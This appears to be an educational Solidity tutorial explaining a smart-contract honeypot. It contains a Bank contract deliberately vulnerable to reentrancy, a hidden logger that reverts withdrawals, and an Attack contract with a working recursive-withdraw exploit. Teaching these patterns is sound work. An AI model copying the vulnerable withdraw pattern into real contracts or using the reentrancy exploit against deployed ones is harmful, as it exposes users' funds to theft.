A honeypot is a deliberate trap designed to catch hackers by appearing vulnerable while secretly containing mechanisms to prevent the exploit from succeeding. It wastes hackers' time, gas fees, and can even catch them in the act.
This honeypot combines two vulnerabilities we've learned:
HACKER'S VIEW:
"This contract has reentrancy vulnerability! Easy money!" 💰
REALITY:
"It's a trap that will drain YOUR gas fees!" 🪤
contract Bank {
mapping(address => uint256) public balances;
Logger logger; // Points to HoneyPot, but hacker thinks it's Logger
constructor(Logger _logger) {
logger = Logger(_logger);
}
function deposit() public payable {
balances[msg.sender] += msg.value;
logger.log(msg.sender, msg.value, "Deposit");
}
// ❌ DELIBERATELY VULNERABLE to reentrancy
function withdraw(uint256 _amount) public {
require(_amount <= balances[msg.sender], "Insufficient funds");
// Sends ETH before updating balance - classic reentrancy bug!
(bool sent,) = msg.sender.call{value: _amount}("");
require(sent, "Failed to send Ether");
balances[msg.sender] -= _amount; // State change after external call
logger.log(msg.sender, _amount, "Withdraw"); // 🪤 TRAP HERE
}
}
contract Logger {
event Log(address caller, uint256 amount, string action);
function log(address _caller, uint256 _amount, string memory _action) public {
emit Log(_caller, _amount, _action);
// Simple logging - looks harmless
}
}
// ⚠️ This code is hidden from the hacker!
contract HoneyPot {
function log(address _caller, uint256 _amount, string memory _action) public {
// 🪤 THE TRAP: Reverts on withdrawals!
if (equal(_action, "Withdraw")) {
revert("It's a trap");
}
}
function equal(string memory _a, string memory _b) public pure returns (bool) {
return keccak256(abi.encode(_a)) == keccak256(abi.encode(_b));
}
}
contract Attack {
Bank bank;
constructor(Bank _bank) {
bank = Bank(_bank);
}
// Reentrancy callback
fallback() external payable {
if (address(bank).balance >= 1 ether) {
bank.withdraw(1 ether); // Recursive call
}
}
function attack() public payable {
bank.deposit{value: 1 ether}();
bank.withdraw(1 ether); // Start the reentrancy
}
function getBalance() public view returns (uint256) {
return address(this).balance;
}
}